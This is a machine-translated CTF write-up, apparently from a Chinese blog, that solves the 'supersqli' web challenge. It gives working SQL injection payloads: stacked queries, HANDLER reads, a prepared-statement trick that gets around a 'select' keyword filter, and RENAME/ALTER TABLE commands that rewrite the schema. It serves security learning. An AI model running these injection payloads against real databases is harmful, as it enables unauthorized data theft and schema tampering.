当前位置:网站首页>Advanced area of attack and defense world web masters supersqli
Advanced area of attack and defense world web masters supersqli
2022-07-29 00:17:00 【Ant200】
Tips : Method ten million , The best thing is to suit yourself !
Tools
firefox
analysis
Look at the topic -- Note casually ,supersqli And the web content guess is sql Inject
1. Input 1, Found variable is inject

2. View page source code , Discovery tips sqlmap There is no soul , Realize that it should not be used sqlmap run , Try manual injection
3. Input
1' union select 1--+Tips are filtered ,preg_match Can own Baidu , After filtering, it cannot be used select This command

4, Try Stack Injection
Stacked injections( Stack Injection ) From the meaning of the noun, we can see that it should be a pile of sql sentence ( multiple ) Do it together . And it's the same in real use , We know that mysql in , Mainly in the command line , Add... At the end of each sentence ; End of statement . In this way, we think about whether we can use more than one sentence together . This is called stacked injection.
command
1';show databases; --+
5, Burst database , According to the title, it should be --supersqli, Query the table below to get two tables

6, Query the columns under the table
Be careful :
1. Both orders should be followed by a semicolon
2. Column names should be enclosed in backquotes ,( English model esc The next one )
command
-1';show columns from `1919810931114514`;--+
obtain flag This field , Out-of-service select, Try something else
Method 1 : Use handler
command :
handler `1919810931114514` open Open this file
; handler `1919810931114514` read first According to the line read
-1'; handler `1919810931114514` open ; handler `1919810931114514` read first; --+
obtain flag

View source code replication

Method 2 :
precompile + Stack Injection
precompile :mysql Precompiled function of , It is for those frequently executed grammars to remain unchanged sql Statement , Every time sql The execution of statements must be compiled by the database , This process is quite time-consuming , One, two or more may not feel much , If there are thousands of them, the efficiency will obviously change .mysql The mechanism provided can make a structure unchanged sql Statements are pre compiled in the database , We just need to pass variable parameters to it for execution every time , In this way, the compilation steps are omitted , The efficiency improvement is very obvious . Deepen understanding link .
sentence :
SET @tn = 'hahaha'; // Storage table name
SET @sql = concat('select * from ', @tn); // Storage SQL sentence
PREPARE name from @sql; // predefined SQL sentence
EXECUTE name; // Execute predefined SQL sentence
(DEALLOCATE || DROP) PREPARE sqla; // Delete predefined SQL sentence command : There will be select Disassemble and splice , It can also be used. ascill Code instead of
;SET @sql=concat('s','elect', '* from `1919810931114514`'); PREPARE a from @sql; EXECUTE a;
when flag

Method 3 :
Use rename and alter These two commands are used to change the table name and field name . Because we can visit words Inside columns, Find out id, That is to say, what we input 1 The default is query words This watch . So we can put words Change the name of the watch into words1 surface , hold 1919810931114514 Change the name of the watch into words, Then take it. 1919810931114514 Inside flag Change the field name to id, Then input 1’ or 1=1# You can successfully get flag 了 .
Construct command :
rename tables `words` to `words1`: Original words Change it to another name
rename tables `1919810931114514` to `words`: There will be flag The file is changed to words
alter table `words` change `flag` `id` varchar(100); Change its length
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
Successful execution

Inquire about flag
Related links ;
Stack Injection details ( Reprint ) - Good mentality (*▽*) - Blog Garden
边栏推荐
- PHP语言基础知识(超详细)
- CV semantic segmentation model sketch (2)
- Sword finger offer 64. find 1+2+... +n, logical operator short circuit effect
- Yolov5 learning notes (I) -- principle overview
- With this, your messages can't be monitored
- Do you know any formal part-time platforms?
- mysql中exists的用法详解
- JS高级 之 ES6~ES13 新特性
- Principle of meter skipping
- Oracle create tablespaces and users
猜你喜欢
![[applet project development -- JD mall] uni app commodity classification page (first)](/img/6c/5b92fc1f18d58e0fdf6f1896188fcd.png)
[applet project development -- JD mall] uni app commodity classification page (first)

Advanced area of attack and defense world web masters training www robots

After SAP Oracle replicates a new instance, the remote connection of the database reports an error ora-01031

Introduction and solution of common security vulnerabilities in web system CSRF attack

“Method Not Allowed“,405问题分析及解决

Web系统常见安全漏洞介绍及解决方案-CSRF攻击

Leetcode61. rotating linked list

【C】 Drink soda and find a single dog

Android studio连接MySQL并完成简单的登录注册功能

CV instance segmentation model sketch (1)
随机推荐
Event extraction and documentation (2008-2017)
Attack and defense world web master advanced area web_ php_ unserialize
Sword finger offer 64. find 1+2+... +n, logical operator short circuit effect
ISO 13400(DoIP)标准解读
Detailed explanation of 9 common reasons for MySQL index failure
[applet project development -- JD mall] uni app commodity classification page (first)
Field injection is not recommended solution
VMware VCSA 7.0 Install
IDEA2021.2安装与配置(持续更新)
#{}和${}的区别
What do you need to bring with you for the NPDP exam? Stationery carrying instructions
Advanced area of attack and defense world web masters -baby Web
Pycharm configuring the running environment
Control fillet stroke materialshapedrawable
After SAP Oracle replicates a new instance, the remote connection of the database reports an error ora-01031
[CNN] Why is the convolution kernel size of CNN usually odd
Leetcode62. Different paths
【C】 Reverse string (two recursive ideas)
Leetcode 763. partition labels divide alphabetic intervals (medium)
Virtual lab basic experiment tutorial -8. Fourier transform (1)